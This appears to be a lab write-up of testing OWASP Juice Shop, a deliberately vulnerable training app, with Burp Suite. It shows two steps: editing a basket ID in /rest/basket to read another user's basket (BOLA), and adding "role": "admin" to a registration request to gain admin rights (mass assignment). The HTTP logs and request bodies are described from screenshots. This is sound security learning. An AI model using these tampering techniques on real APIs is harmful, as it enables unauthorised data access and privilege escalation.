

I used owasp juice shop to exploit vulnerable APIs.
The first one is: **/rest/basket** this api fetches baskets for users but it doesn't verify if the person requesting the basket really owns it(BOLA vulnerability)
This is the basket of the user I'm logged in with. This is the his basket

The screenshot shows the OWASP Juice Shop interface on the left and Burp Suite on the right. The Juice Shop displays 'Your Basket (jim@juice-sh.op)' with one item: Raspberry Juice (1000ml) for 4.99. The total price is 9.98. The Burp Suite interface shows the HTTP history and the selected request (GET /rest/basket/2). The response is a JSON array containing one basket item.

#	Host	Method	URL	Params	Status code	Length	MIME type	Extension	Title
353	http://localhost:3000	GET	/api/quantity/		200	8016	JSON		
354	http://localhost:3000	GET	/rest/products/search?q=		304	306			
371	http://localhost:3000	GET	/rest/user/iam/fields=email		200	420	JSON		
372	http://localhost:3000	GET	/rest/basket/2		304	305			
374	http://localhost:3000	GET	/api/quantity/		200	8016	JSON		
375	http://localhost:3000	GET	/rest/products/search?q=		304	306			
376	http://localhost:3000	GET	/rest/basket/2		304	305			
377	http://localhost:3000	GET	/rest/user/iam/fields=email		200	420	JSON		
378	http://localhost:3000	GET	/socket.io/?EIO=4&transport=poll...		200	326	text	io/	
379	http://localhost:3000	POST	/socket.io/?EIO=4&transport=poll...		200	326	text	io/	
380	http://localhost:3000	GET	/socket.io/?EIO=4&transport=poll...		200	326	text	io/	
381	http://localhost:3000	GET	/socket.io/?EIO=4&transport=webs...		200	326	text	io/	

I tried editing the /rest/basket/2 number to 3. which gave

The screenshot shows the OWASP Juice Shop interface on the left and Burp Suite on the right. The Juice Shop displays 'Your Basket (jim@juice-sh.op)' with one item: Raspberry Juice (1000ml) for 4.99. The total price is 4.99. The Burp Suite interface shows the HTTP history and the selected request (GET /rest/basket/3). The response is a JSON array containing one basket item.

#	Host	Method	URL	Params	Status code	Length	MIME type	Extension	Title
428	http://localhost:3000	GET	/socket.io/?EIO=4&transport=webs...		101	129		io/	
429	http://localhost:3000	GET	/rest/products/search?q=		304	306			
431	http://localhost:3000	POST	/socket.io/?EIO=4&transport=poll...		200	215	HTML	io/	
432	http://localhost:3000	GET	/socket.io/?EIO=4&transport=poll...		200	262	text	io/	
433	http://localhost:3000	GET	/rest/admin/application-configurati...		304	306			
434	http://localhost:3000	GET	/rest/admin/application-configurati...		304	304	text	io/	
435	http://localhost:3000	GET	/socket.io/?EIO=4&transport=poll...		200	230			
436	http://localhost:3000	GET	/rest/admin/application-configurati...		304	306			
437	http://localhost:3000	GET	/api/challenges/name=Score200...		304	305			
442	http://localhost:3000	GET	/rest/admin/application-configurati...		304	306			
475	http://localhost:3000	GET	/rest/user/iam/fields=email		200	420	JSON		
496	http://localhost:3000	GET	/rest/basket/3		200	943	JSON		

Basket item differs.

The second API is: **POST /api/users**, requested when registering an email:

The screenshot displays the Burp Suite Professional interface. The main window shows a list of captured HTTP requests. The selected request is a POST to `http://localhost:3000/api/users/`. The request body is a JSON object:

```
{
  "email": "test@ga.com",
  "password": "Test1!",
  "passwordRepeat": "Test1!",
  "securityQuestion": {
    "id": 1,
    "question": "Your eldest siblings middle name?",
    "createdAt": "2026-09-18T14:49:12.695Z",
    "updatedAt": "2026-09-18T14:49:12.695Z"
  },
  "securityAnswer": "test"
}
```

The Inspector panel on the right shows the request attributes, query parameters, cookies, and headers.

The request body contains information if we add "role": "admin" the email will be an admin.

The screenshot displays the Burp Suite Professional interface. The main window shows a list of captured HTTP requests. The selected request is a POST to `http://localhost:3000/api/users/`. The request body is a JSON object:

```
{
  "email": "test@ga.com",
  "password": "Test1!",
  "passwordRepeat": "Test1!",
  "role": "admin",
  "securityQuestion": {
    "id": 1,
    "question": "Your eldest siblings middle name?",
    "createdAt": "2026-09-18T14:49:12.695Z",
    "updatedAt": "2026-09-18T14:49:12.695Z"
  },
  "securityAnswer": "test"
}
```

A green circle highlights the `"role": "admin"` field in the JSON body. The Inspector panel on the right shows the request attributes, query parameters, cookies, and headers.

Which suggests Mass Assignment vulnerability

